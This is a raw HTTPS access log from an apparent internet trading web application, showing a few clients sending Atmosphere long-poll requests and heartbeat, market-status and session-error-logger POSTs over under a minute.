[09/Jan/2026:12:05:53 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931822336 HTTP/1.1" -
[09/Jan/2026:12:05:53 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931822348 HTTP/1.1" -
[09/Jan/2026:12:05:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931822784 HTTP/1.1" -
[09/Jan/2026:12:05:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931824523 HTTP/1.1" -
[09/Jan/2026:12:05:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:05:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:05:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931824830 HTTP/1.1" -
[09/Jan/2026:12:05:56 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931825329 HTTP/1.1" -
[09/Jan/2026:12:05:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:05:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:05:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:05:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:05:58 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931827567 HTTP/1.1" -
[09/Jan/2026:12:05:59 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931828330 HTTP/1.1" -
[09/Jan/2026:12:05:59 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931828330 HTTP/1.1" -
[09/Jan/2026:12:06:00 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931827810 HTTP/1.1" -
[09/Jan/2026:12:06:00 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931829561 HTTP/1.1" -
[09/Jan/2026:12:06:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931829962 HTTP/1.1" -
[09/Jan/2026:12:06:02 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931831330 HTTP/1.1" -
[09/Jan/2026:12:06:03 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:06:03 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:06:03 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931832847 HTTP/1.1" -
[09/Jan/2026:12:06:05 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931832836 HTTP/1.1" -
[09/Jan/2026:12:06:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931834616 HTTP/1.1" -
[09/Jan/2026:12:06:05 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931834336 HTTP/1.1" -
[09/Jan/2026:12:06:05 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931834336 HTTP/1.1" -
[09/Jan/2026:12:06:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931835024 HTTP/1.1" -
[09/Jan/2026:12:06:08 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931837327 HTTP/1.1" -
[09/Jan/2026:12:06:09 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931837973 HTTP/1.1" -
[09/Jan/2026:12:06:10 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931837860 HTTP/1.1" -
[09/Jan/2026:12:06:10 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931839663 HTTP/1.1" -
[09/Jan/2026:12:06:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931840132 HTTP/1.1" -
[09/Jan/2026:12:06:11 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931840332 HTTP/1.1" -
[09/Jan/2026:12:06:11 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931840332 HTTP/1.1" -
[09/Jan/2026:12:06:14 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931843238 HTTP/1.1" -
[09/Jan/2026:12:06:14 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931843326 HTTP/1.1" -
[09/Jan/2026:12:06:15 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931842886 HTTP/1.1" -
[09/Jan/2026:12:06:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931844708 HTTP/1.1" -
[09/Jan/2026:12:06:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931845239 HTTP/1.1" -
[09/Jan/2026:12:06:17 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931846332 HTTP/1.1" -
[09/Jan/2026:12:06:17 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931846332 HTTP/1.1" -
[09/Jan/2026:12:06:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:06:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:06:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:06:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:06:19 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931848372 HTTP/1.1" -
[09/Jan/2026:12:06:20 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:06:20 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:06:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931847909 HTTP/1.1" -
[09/Jan/2026:12:06:20 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931849333 HTTP/1.1" -
[09/Jan/2026:12:06:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931849750 HTTP/1.1" -
[09/Jan/2026:12:06:21 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:06:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931850390 HTTP/1.1" -
[09/Jan/2026:12:06:21 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:06:21 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:06:21 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:06:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:06:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:06:23 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931852334 HTTP/1.1" -
[09/Jan/2026:12:06:23 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931852334 HTTP/1.1" -
[09/Jan/2026:12:06:24 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931853589 HTTP/1.1" -
[09/Jan/2026:12:06:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931852997 HTTP/1.1" -
[09/Jan/2026:12:06:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931854769 HTTP/1.1" -
[09/Jan/2026:12:06:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:06:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:06:26 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931855337 HTTP/1.1" -
[09/Jan/2026:12:06:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931855542 HTTP/1.1" -
[09/Jan/2026:12:06:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:06:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:06:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:06:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:06:29 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931858331 HTTP/1.1" -
[09/Jan/2026:12:06:29 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931858331 HTTP/1.1" -
[09/Jan/2026:12:06:30 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931858767 HTTP/1.1" -
[09/Jan/2026:12:06:30 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931858025 HTTP/1.1" -
[09/Jan/2026:12:06:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931859810 HTTP/1.1" -
[09/Jan/2026:12:06:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931860689 HTTP/1.1" -
[09/Jan/2026:12:06:32 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931861334 HTTP/1.1" -
[09/Jan/2026:12:06:33 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:06:33 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:06:35 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931864096 HTTP/1.1" -
[09/Jan/2026:12:06:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931864336 HTTP/1.1" -
[09/Jan/2026:12:06:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931864336 HTTP/1.1" -
[09/Jan/2026:12:06:35 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931863051 HTTP/1.1" -
[09/Jan/2026:12:06:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931864848 HTTP/1.1" -
[09/Jan/2026:12:06:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931865750 HTTP/1.1" -
[09/Jan/2026:12:06:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931867324 HTTP/1.1" -
[09/Jan/2026:12:06:40 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931869201 HTTP/1.1" -
